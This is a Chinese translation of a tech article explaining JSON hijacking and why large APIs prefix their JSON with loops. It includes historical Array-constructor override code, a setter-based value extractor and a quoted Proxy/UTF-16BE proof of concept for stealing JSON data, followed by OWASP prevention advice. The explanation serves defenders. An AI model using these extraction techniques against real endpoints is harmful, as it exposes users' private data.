写点什么

你知道为什么 Facebook 的 API 以一个循环作为开头吗?

  • 2018-11-26
  • 本文字数:2417 字

    阅读完需:约 8 分钟

你知道为什么Facebook的API以一个循环作为开头吗?

如果你有在浏览器中查看过发给大公司 API 的请求,你可能会注意到,JSON 前面会有一些奇怪的 JavaScript:



为什么他们会用这几个字节来让 JSON 失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。


这个漏洞被称为JSON劫持,也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。


你可以这样:


function Array(){    alert('You created an array!');}var x = [1,2,3];
复制代码


这样就会弹出 alert!


使用以下脚本替换 var x,攻击者就可以阅读你的电子邮件!


这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。


<script src="https://gmail.com/messages"></script>
复制代码

数据提取

即使你重载了构造函数,仍然可以通过 this 来访问它。


这是一个代码片段,它将 alert 数组的所有数据:


function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}
复制代码


在创建数组后,它们的值将被 alert 出来!


ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。


尽管 ES4 从未发布,但主要浏览器在发现后很快就修复了这个漏洞。


在今天的 JavaScript 中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。


这是之前的一个修订版本:


// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);
复制代码


这是一个使用 Array 关键字创建数组的版本:


function Array(){    console.log(arguments);}
Array("secret","values");
复制代码


如你所见,你添加到数组中的数据被记录下来,但功能保持不变!


修复方案并没有阻止使用 Array 来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。


这意味着我们仍然可以创建一个 Array 函数,但不能与方括号([1,2,3])一起使用。


如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?


随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!


来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体,它仍然允许我们从 JSON 端点窃取数据!


通过使用 Proxies(而不是 Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。


它可以像 Accessor 一样,但可以访问任意可访问或写入属性。


使用这个和另外一个技巧,就可以再次窃取数据!


UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。


使用这个脚本:


<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
复制代码


通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!


这是 Gareth 最后的 POC,摘自他的博文:


<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
复制代码


我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是 OWASP 的官方建议


  • 使用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。

  • 始终将 JSON 作为对象返回。


最后的解决方案很有趣。


在 Firefox 和 IE 中,这个是有效的:


x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}
复制代码


但这样不行:


{"key":"value"}
复制代码


它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头,而不是创建对象。


没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。


如果我们把这个StackOverflow答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。


谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐


12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule


2018-11-26 14:433380
用户头像

发布了 731 篇内容, 共 448.9 次阅读, 收获喜欢 2002 次。

关注

评论 1 条评论

发布
暂无评论
发现更多内容

Python进阶(十三)浅谈sorted 函数应用及文件操作

No Silver Bullet

Python 文件操作 sorted 10月月更

Docker下Nacos配置应用开发

程序员欣宸

nacos spring-cloud 10月月更

大数据ELK(二十二):采集Apache Web服务器日志

Lansonli

ELK 10月月更

MFC | 图片的傻瓜式加解密方法

中国好公民st

c++ 加密技术 10月月更

啃论文俱乐部——移植speexdsp到OpenHarmony标准系统④

离北况归

OpenHarmony

《数字经济全景白皮书》中国银行业场景金融生态建设分析2022 发布

易观分析

金融 客户 场景生态建设

Web3雇佣兵的现状,Zebec根本上提高用户黏性

鳄鱼视界

这是两个Gopher面试必知必会的知识点,你搞懂了吗?

王中阳Go

Go golang 面试题 channel 10月月更

数据中台4点核心建设内容

阿泽🧸

数据中台 10月月更

Redis 的快速介绍及其基本数据类型和操作

宇宙之一粟

redis 10月月更

布隆过滤器是否好用,得看哈希函数写成啥样

小傅哥

Java 算法 小傅哥 布隆过滤器 哈希函数

铜九银十react考察点梳理

beifeng1996

React

cstdio的源码学习分析09-改变文件流文件流buffer函数setvbuf

桑榆

源码刨析 10月月更 C++

Web3雇佣兵的现状,Zebec根本上提高用户黏性

股市老人

啃论文俱乐部——移植speexdsp到OpenHarmony标准系统②

离北况归

OpenHarmony

React-Hooks怎样封装防抖和节流-面试真题

beifeng1996

React

网络异常之后为什么MOA地址列表错乱了?

BUG侦探

TCP Jedis 乱序

Spring之IOC自动装配

楠羽

笔记 SP【ring 10月月更

前端工程师面试题自检篇(一)

loveX001

JavaScript

Go容易搞错的知识点汇总

王中阳Go

Go 面试题 #go 10月月更 go面试题

前端工程师面试题自检篇(二)

loveX001

JavaScript

啃论文俱乐部——移植speexdsp到OpenHarmony标准系统①

离北况归

OpenHarmony

React循环DOM时为什么需要添加key

beifeng1996

React

啃论文俱乐部——移植speexdsp到OpenHarmony标准系统③

离北况归

OpenHarmony

基础算法:二分查找 搜索插入位置

梦笔生花

Python 二分查找 10月月更

Flash软件应用项目(一)

张立梵

设计师 Flash 10月月更

【Java深入学习】Park&Unpark的深入学习讲解

Geek_65222d

10月月更

Python进阶(十四)高阶函数

No Silver Bullet

Python 高阶函数 10月月更

数据结构学习,队列篇(顺序队和循环队列)

IC00

学习 读书笔记 数据结构 算法 10月月更

【答读者问】把Go基础学完后,是学web方向还是区块链方向?

王中阳Go

php Go 区块链 职业规划 10月月更

你知道为什么Facebook的API以一个循环作为开头吗?_编程语言_Antony Garand_InfoQ精选文章